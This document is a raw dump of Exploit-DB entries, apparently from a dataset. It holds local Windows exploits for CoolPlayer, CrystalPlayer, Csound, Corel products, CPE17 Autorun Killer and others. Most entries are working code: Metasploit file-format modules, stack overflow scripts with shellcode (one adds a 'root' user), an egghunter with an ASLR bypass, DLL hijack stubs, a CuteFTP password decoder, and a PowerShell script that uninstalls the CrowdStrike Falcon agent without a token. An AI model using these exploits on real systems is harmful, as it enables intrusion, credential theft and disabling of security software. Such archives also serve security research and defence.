deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17499
Description: CoolPlayer Portable 2.19.2 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-07-07
Author: James Fitts

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Coolplayer 2.19.2 (M3U File) Stack Buffer Overflow',
			'Description'    => %q{ 
					This module exploits a stack-based buffer overflow in Coolplayer 2.19.2.  An attacker must send the file to the victim and the victim must open the file.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 
					      'Securityxxxpert',      # Initial Discovery
					      'James Fitts' # Metasploit Module
					    ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/17294' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 268,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x77f31d8a } ], #p/p/r in gdi32.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'May 16 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.m3u']),
				], self.class)
	end

	def exploit

		m3u = rand_text_alpha_upper(220) + [target.ret].pack('V')
		m3u << make_nops(12)
		m3u << payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(m3u)

	end

end
Exploit-DB #20296
Description: CoolPlayer+ Portable 2.19.2 - Local Buffer Overflow (ASLR Bypass)
Type: local
Platform: windows
Date: 2012-08-06
Author: Robert Larsen

Exploit:
#!/usr/bin/ruby

# Exploit for CoolPlayer+ Portable 2.19.2
#
# Based on exploit by Blake and Dhruval.
# Vulnerability found by Securityxxxpert
# Original: http://www.exploit-db.com/exploits/20262/
#
# This one by Robert Larsen <robert@the-playground.dk>
# Lots of room for shellcode as opposed to original exploit.

# Shellcode created with:
# msfpayload windows/exec CMD=calc R | msfencode -b '\x00\x0a\x0c'
SHELLCODE=
"\xda\xd6\xd9\x74\x24\xf4\xb8\x3a\xbd\x65\xf7\x5e\x31\xc9" +
"\xb1\x32\x31\x46\x17\x03\x46\x17\x83\xd4\x41\x87\x02\xd4" +
"\x52\xc1\xed\x24\xa3\xb2\x64\xc1\x92\xe0\x13\x82\x87\x34" +
"\x57\xc6\x2b\xbe\x35\xf2\xb8\xb2\x91\xf5\x09\x78\xc4\x38" +
"\x89\x4c\xc8\x96\x49\xce\xb4\xe4\x9d\x30\x84\x27\xd0\x31" +
"\xc1\x55\x1b\x63\x9a\x12\x8e\x94\xaf\x66\x13\x94\x7f\xed" +
"\x2b\xee\xfa\x31\xdf\x44\x04\x61\x70\xd2\x4e\x99\xfa\xbc" +
"\x6e\x98\x2f\xdf\x53\xd3\x44\x14\x27\xe2\x8c\x64\xc8\xd5" +
"\xf0\x2b\xf7\xda\xfc\x32\x3f\xdc\x1e\x41\x4b\x1f\xa2\x52" +
"\x88\x62\x78\xd6\x0d\xc4\x0b\x40\xf6\xf5\xd8\x17\x7d\xf9" +
"\x95\x5c\xd9\x1d\x2b\xb0\x51\x19\xa0\x37\xb6\xa8\xf2\x13" +
"\x12\xf1\xa1\x3a\x03\x5f\x07\x42\x53\x07\xf8\xe6\x1f\xa5" +
"\xed\x91\x7d\xa3\xf0\x10\xf8\x8a\xf3\x2a\x03\xbc\x9b\x1b" +
"\x88\x53\xdb\xa3\x5b\x10\x13\xee\xc6\x30\xbc\xb7\x92\x01" +
"\xa1\x47\x49\x45\xdc\xcb\x78\x35\x1b\xd3\x08\x30\x67\x53" +
"\xe0\x48\xf8\x36\x06\xff\xf9\x12\x65\x9e\x69\xfe\x6a"

payload = "\xeb\x4e" * (232 / 2) + #JMP 80
          "\x5d\xec\xf8\x77"     + #CALL EBX
          "\x90\x90\x90\x90"     + #Junk
          SHELLCODE

puts payload
Exploit-DB #40151
Description: CoolPlayer+ Portable 2.19.6 - '.m3u' File Stack Overflow (Egghunter + ASLR Bypass)
Type: local
Platform: windows
Date: 2016-07-25
Author: Karn Ganeshen

Exploit:
# Exploit Title: [CoolPlayer+ Portable build 2.19.6 - .m3u Stack Overflow [Egghunter+ASLR bypass]] 
# Exploit Author: [Karn Ganeshen] 
# Download link: [https://sourceforge.net/projects/portableapps/files/CoolPlayer%2B%20Portable/CoolPlayerPlusPortable_2.19.6.paf.exe/download?use_mirror=liquidtelecom]
# Version: [Current version 2.19.6] 
# Tested on: [Windows Vista Ultimate SP2] 
# 
# Couple of bof exploits for older versions already on EDB:
# https://www.exploit-db.com/search/?action=search&description=coolplayer

#!/usr/bin/python

total_buf = 2000

filename="evil.m3u"

# msfvenom -p windows/exec cmd=calc.exe -b \x00\x0a\x0c\0d EXITFUN=thread -f c
# Payload size: 220 bytes

shellcode = ("\xdb\xdc\xd9\x74\x24\xf4\x58\xbb\x9a\xc7\xdb\xe9\x31\xc9\xb1"
"\x31\x31\x58\x18\x83\xe8\xfc\x03\x58\x8e\x25\x2e\x15\x46\x2b"
"\xd1\xe6\x96\x4c\x5b\x03\xa7\x4c\x3f\x47\x97\x7c\x4b\x05\x1b"
"\xf6\x19\xbe\xa8\x7a\xb6\xb1\x19\x30\xe0\xfc\x9a\x69\xd0\x9f"
"\x18\x70\x05\x40\x21\xbb\x58\x81\x66\xa6\x91\xd3\x3f\xac\x04"
"\xc4\x34\xf8\x94\x6f\x06\xec\x9c\x8c\xde\x0f\x8c\x02\x55\x56"
"\x0e\xa4\xba\xe2\x07\xbe\xdf\xcf\xde\x35\x2b\xbb\xe0\x9f\x62"
"\x44\x4e\xde\x4b\xb7\x8e\x26\x6b\x28\xe5\x5e\x88\xd5\xfe\xa4"
"\xf3\x01\x8a\x3e\x53\xc1\x2c\x9b\x62\x06\xaa\x68\x68\xe3\xb8"
"\x37\x6c\xf2\x6d\x4c\x88\x7f\x90\x83\x19\x3b\xb7\x07\x42\x9f"
"\xd6\x1e\x2e\x4e\xe6\x41\x91\x2f\x42\x09\x3f\x3b\xff\x50\x55"
"\xba\x8d\xee\x1b\xbc\x8d\xf0\x0b\xd5\xbc\x7b\xc4\xa2\x40\xae"
"\xa1\x5d\x0b\xf3\x83\xf5\xd2\x61\x96\x9b\xe4\x5f\xd4\xa5\x66"
"\x6a\xa4\x51\x76\x1f\xa1\x1e\x30\xf3\xdb\x0f\xd5\xf3\x48\x2f"
"\xfc\x97\x0f\xa3\x9c\x79\xaa\x43\x06\x86")

# Egghunter - 32 bytes
eggh = ("\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74" 
"\xef\xb8\x54\x30\x30\x57\x8b\xfa" 
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

# EIP overwrite appears to depend upon location from where the evil file is loaded from
# Tested from location - C:\
# For e.g. offset will be different if file is loaded from C: (260) vs C:\Windows\ (249)

junk = "A"*28
eip = "\xa1\x99\x42\x00" # 0x004299a1 jmp ebx - coolplayer+.exe [noaslr,norebase,nosafeseh]

evil = junk + eggh + "\x90"*200 + eip + "\x90"*18 + "T00WT00W" + shellcode + "\x90"*1490

file = open(filename , 'w')
file.write(evil)
file.close()
Exploit-DB #31036
Description: CORE FORCE Firewall 0.95.167 and Registry Modules - Multiple Local Kernel Buffer Overflow Vulnerabilities
Type: local
Platform: windows
Date: 2008-01-17
Author: Sebastian Gottschalk

Exploit:
source: https://www.securityfocus.com/bid/27341/info

CORE FORCE Firewall and Registry modules are prone to multiple local kernel buffer-overflow vulnerabilities because the software fails to adequately verify user-supplied input.

Local attackers can exploit these issues to cause denial-of-service conditions. Attackers may also be able to escalate privileges and execute arbitrary code, but this has not been confirmed.

These issues affect versions up to and including CORE FORCE 0.95.167.

All the vulnerabilities can be reproduced by running a combination of
DC2 and BSODHook tools.

Step by step instructions:

- Get DC2.exe (Driver Path Verifier) from the latest Windows Driver Kit.

- Login as unprivileged user.

- Run "dc2 /hct /a".

- Get BSODHook.exe from Matousec 
http://www.matousec.com/projects/windows-personal-firewall-analysis/plague-in-security-software-drivers.php

- Click on "Load Driver" then click on "Find SSDT hooks" then "Add to
probe list" and then "GO".
Exploit-DB #14787
Description: Corel PHOTO-PAINT X3 13.0.0.576 - 'crlrib.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: LiquidWorm

Exploit:
/*

 Corel PHOTO-PAINT X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit

 Vendor: Corel Corporation
 Product Web Page: http://www.corel.com
 Affected Version: X3 v13.0.0.576

 Summary: Graphic design software for striking visual communication.

 Desc: Corel PHOTO-PAINT X3 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extension is .cpt thru crlrib.dll library.

 ----
 gcc -shared -o crlrib.dll corelpp.c

 Compile and rename to crlrib.dll, create a file test.cpt and
 put both files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
Exploit-DB #14786
Description: CorelDRAW X3 13.0.0.576 - 'crlrib.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: LiquidWorm

Exploit:
/*

 CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit

 Vendor: Corel Corporation
 Product Web Page: http://www.corel.com
 Affected Version: X3 v13.0.0.576

 Summary: Graphic design software for striking visual communication.

 Desc: CorelDRAW X3 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extensions are .cmx and .csl thru crlrib.dll library.

 ----
 gcc -shared -o crlrib.dll coreldrw.c

 Compile and rename to crlrib.dll, create a file test.cmx or test.csl and
 put both files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
Exploit-DB #18792
Description: CPE17 Autorun Killer 1.7.1 - Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-04-27
Author: Xenithz xpt

Exploit:
#
# CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit
# by Xelenonz

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

      include Msf::Exploit::FILEFORMAT

      def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit',
                        'Description'    => %q{
                                        readfile function is vulnerable it can be overflow  
                                             },
                        'Author'         => [ 'Xelenonz' ],
                        'Version'        => '0.1',
                        
                        'Payload'        =>
                                {
                                        'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
										'EncoderOptions' => {'BufferRegister'=>'ECX'},
                                },
			'DefaultOptions' =>
                				{
                    			'DisablePayloadHandler' => 'true',
                				},
                        'Platform'       => 'windows',

                        'Targets'        =>
                                [
                                        [
                                        	'Windows XP SP3',
                                          		{ 	'Ret' => 0x775a676f, 
                                          			'Offset' => 500 
                                          		} 
                                       ],
                                      
                                ],
                        'DefaultTarget' => 0,

                        'Privileged'     => false
                        ))

                        register_options(
                        [
                        	OptString.new('FILENAME',   [ true, 'The file name.',  'autorun.inf']),
                        ], self.class)
       end

       def exploit
       	  print_status("Encoding Payload ...")
          enc = framework.encoders.create("x86/alpha_mixed")
		  enc.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} )
		  hunter = enc.encode(payload.encoded, nil, nil, platform)
		  buffer = ""
          buffer << "A"*target['Offset'] # padding offset
          buffer << [target.ret].pack('V') # jmp esp
          buffer << hunter # shellcode
          print_status("Creating '#{datastore['FILENAME']}' file ...")
          file_create(buffer)
          print_status("Plug flashdrive to victim's computer")
          handler
          
       end
end
Exploit-DB #30999
Description: Creative Ensoniq PCI ES1371 WDM Driver 5.1.3612 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2008-01-07
Author: Ruben Santamarta

Exploit:
source: https://www.securityfocus.com/bid/27179/info

Creative Ensoniq PCI ES1371 WDM drivers are prone to a local privilege-escalation vulnerability.

Successful exploits allow local users to execute arbitrary machine code with kernel-level privileges, facilitating the complete compromise of affected computers.

This issue occurs when the vulnerable driver is running in a Microsoft Windows Vista environment. This occurs in VMware Server and Workstation environments when running Microsoft Vista guest operating systems with sound enabled.

This issue affects 'es1371mp.sys' 5.1.3612.0. Given the nature of the issue, other device drivers and versions may also be vulnerable, but this has not been confirmed. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30999.zip
Exploit-DB #51146
Description: CrowdStrike Falcon AGENT  6.44.15806  - Uninstall without Installation Token
Type: local
Platform: windows
Date: 2023-03-30
Author: Fortunato Lodari

Exploit:
# Exploit Title: CrowdStrike Falcon AGENT  6.44.15806  - Uninstall without Installation Token 
# Date: 30/11/2022 
# Exploit Author: Walter Oberacher, Raffaele Nacca, Davide Bianchin, Fortunato Lodari, Luca Bernardi (Deda Cloud Cybersecurity Team) 
# Vendor Homepage: https://www.crowdstrike.com/ 
# Author Homepage: https://www.deda.cloud/ 
# Tested On: All Windows versions 
# Version: 6.44.15806 
# CVE: Based on CVE-2022-2841; Modified by Deda Cloud Purple Team members, to exploit hotfixed release. Pubblication of of CVE-2022-44721 in progress. 


$InstalledSoftware = Get-ChildItem "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall"

foreach($obj in $InstalledSoftware){
    if ("CrowdStrike Sensor Platform" -eq $obj.GetValue('DisplayName'))
    {
        $uninstall_uuid = $obj.Name.Split("\")[6]
    }
}

$g_msiexec_instances = New-Object System.Collections.ArrayList

Write-Host "[+] Identified installed Falcon: $uninstall_uuid"
Write-Host "[+] Running uninstaller for Crowdstrike Falcon . . ."
Start-Process "msiexec" -ArgumentList "/X$uninstall_uuid"

while($true)
{
	if (get-process -Name "CSFalconService") {
		Get-Process | Where-Object { $_.Name -eq "msiexec" } | ForEach-Object {
			
			if (-Not $g_msiexec_instances.contains($_.id)){
				$g_msiexec_instances.Add($_.id)
				if (4 -eq $g_msiexec_instances.count -or 5 -eq $g_msiexec_instances.count){
					Start-Sleep -Milliseconds 100
					Write-Host "[+] Killing PID " + $g_msiexec_instances[-1]
					stop-process -Force -Id $g_msiexec_instances[-1]				
				}

			}
		
		}
	} else { 
		Write-Host "[+] CSFalconService process vanished...reboot and have fun!"
		break
	}
}
Exploit-DB #19839
Description: CRYPTOCard CRYPTOAdmin 4.1 - Weak Encryption (2)
Type: local
Platform: windows
Date: 2000-04-10
Author: kingpin

Exploit:
source: https://www.securityfocus.com/bid/1097/info
 
CRYPTOCard CRYPTOAdmin is a network authentication application for use with the Palm OS platform. CRYPTOAdmin generates a .pdb file which contains the username, PIN number, serial number, and key in encrypted or plaintext format. The PIN number can be retrieved due to the software's usage of a fixed 4-byte value in key generation. With access to the .pdb file and PIN number, a user is capable of duplicating the token onto another Palm device effectively gaining access to the network as the compromised user. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19839.zip
Exploit-DB #4229
Description: CrystalPlayer 1.98 - '.mls' Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-07-26
Author: Arham Muhammad

Exploit:
#!/usr/bin/perl
######################################################################################################################
#Crystal Player 1.98
#Playlist(.mls) File Local Buffer Overflow Exploit
#Source:: http://www.crystalplayer.com/CrystalPro.exe
#Credit To Timq For The Vulnerability
#POC By Arham Muhammad
#######################################################################################################################

#While Debugging EIP And EBP Successfully Gets Overwritten!
#Upon Successful Exploitation, DOS Occurs And It Further Destorys The Libraries,Upon Successful Exploitation
#When The Next Time App Is Executed
#It Throws Microsfot Visual C++ Runtime Library Error Followed By An Other Exception
#The POC Add user "root" with password "root" to the os!
#Tested On x86 vista enterprise ed.
#Might require Changing esp address coz of os and sp change


print "Crystal Player 1.98 Local Bufferoverflow Exploit\n";
print "Creating Crafted .mls File\n";


$buff = 'A' x 1033;


$ret = "\x76\xF5\x48\x37"; #call esp in ntdll.dll



# win32_adduser - PASS=root EXITFUNC=seh USER=root Size=232 Encoder=PexFnstenvSub http://metasploit.com
$shellcode = "\x2b\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xea". #Add user root with pass root 232 bytes
"\x15\xcd\x86\x83\xeb\xfc\xe2\xf4\x16\xfd\x89\x86\xea\x15\x46\xc3".
"\xd6\x9e\xb1\x83\x92\x14\x22\x0d\xa5\x0d\x46\xd9\xca\x14\x26\xcf".
"\x61\x21\x46\x87\x04\x24\x0d\x1f\x46\x91\x0d\xf2\xed\xd4\x07\x8b".
"\xeb\xd7\x26\x72\xd1\x41\xe9\x82\x9f\xf0\x46\xd9\xce\x14\x26\xe0".
"\x61\x19\x86\x0d\xb5\x09\xcc\x6d\x61\x09\x46\x87\x01\x9c\x91\xa2".
"\xee\xd6\xfc\x46\x8e\x9e\x8d\xb6\x6f\xd5\xb5\x8a\x61\x55\xc1\x0d".
"\x9a\x09\x60\x0d\x82\x1d\x26\x8f\x61\x95\x7d\x86\xea\x15\x46\xee".
"\xd6\x4a\xfc\x70\x8a\x43\x44\x7e\x69\xd5\xb6\xd6\x82\xe5\x47\x82".
"\xb5\x7d\x55\x78\x60\x1b\x9a\x79\x0d\x76\xa0\xe2\xc4\x70\xb5\xe3".
"\xca\x3a\xae\xa6\x84\x70\xb9\xa6\x9f\x66\xa8\xf4\xca\x67\xa2\xe9".
"\x9e\x35\xbf\xe9\x85\x61\xed\xa9\xab\x51\x89\xa6\xcc\x33\xed\xe8".
"\x8f\x61\xed\xea\x85\x76\xac\xea\x8d\x67\xa2\xf3\x9a\x35\x8c\xe2".
"\x87\x7c\xa3\xef\x99\x61\xbf\xe7\x9e\x7a\xbf\xf5\xca\x67\xa2\xe9".
"\x9e\x35\xe2\xc7\xae\x51\xcd\x86";


$nopsled = "\x90" x 797; #Nopsled to fill the buffer



open(mls, ">./buffer.mls");
print mls "$buff";
print mls "$ret";
print mls "$nopsled";
print mls "$shellcode";


print "Crafted File Created!\n";


#Arham Muhammad
#rko.thelegendkiller@ gmail.com

#Greets:: str0ke,Hackman,tushy,And All My Friends, Specially AmBi(Love Ya!!!);
#Gr0undbreakerz

# milw0rm.com [2007-07-26]
Exploit-DB #18710
Description: Csound - '.hetro' File Handling Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-04-06
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Csound hetro File Handling Stack Buffer Overflow',
			'Description' => %q{
					This module exploits a buffer overflow in Csound before 5.16.6.
				The overflow occurs when trying to import a malicious hetro file
				from tabular format.
				In order to achieve exploitation the user should import the malicious
				file through csound with a command like "csound -U het_import msf.csd file.het".
				This exploit doesn't work if the "het_import" command is used directly
				to convert the file.
			},
			'License' => MSF_LICENSE,
			'Author' =>
				[
					'Secunia', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'Version' => '$Revision: $',
			'References' =>
				[
					[ 'CVE', '2012-0270' ],
					[ 'OSVDB', '79491' ],
					[ 'BID', '52144' ],
					[ 'URL', 'http://secunia.com/secunia_research/2012-3/' ],
					[ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']
				],
			'Payload' =>
				{
					'Space' => 650,
					'BadChars' => "\x00\x0a\x1a\x2c\xff",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
					'DisableNops' => 'True'
				},
			'Platform' => 'win',
			'Targets' =>
				[
					[ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',
						{
							'Offset' => 132,
							'Ret' => 0x6e955446 # push esp #  ret / libgcc_s_dw2-1.dll
						}
					],
				],
			'Privileged' => false,
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Feb 23 2012'))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),
			], self.class)
	end

	def exploit
		sploit = rand_text(target['Offset'])
		sploit << [target.ret].pack("V")
		sploit << payload.encoded
		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(sploit)
	end

end
Exploit-DB #21090
Description: CuteFTP 4.2 - Default Weak Password Encoding
Type: local
Platform: windows
Date: 2001-08-23
Author: E. van Elk

Exploit:
source: https://www.securityfocus.com/bid/3233/info

CuteFTP is a popular commercial FTP client for Microsoft Windows systems.

CuteFTP v4.2(and possibly earlier versions) uses a weak system for encoding passwords for accounts on FTP sites. Passwords are stored in a file called 'sm.dat', and can be easily retrieved provided the site manager password has not been set.

Successful exploitation of this vulnerability will allow a local attacker to gain unauthorized access to the FTP sites used by other local users.


This piece of VB code will decode the passwords stored in sm.dat for the FTP accounts

Works only if you have NOT set a password on the Site Manager!


'Decode a single character
Public Function CuteDecode(i_Asc As Integer)

CuteDecode = ((Not i_Asc) And 200) + (i_Asc And 55)

End Function

'Decode password
Public Function CuteDecodeString(str_password As String)

Dim i As Integer

CuteDecodeString = ""

For i = 1 To Len(str_password)
CuteDecodeString = CuteDecodeString + Chr$(CuteDecode(Asc(Mid(str_password, i, 1))))
Next i

End Function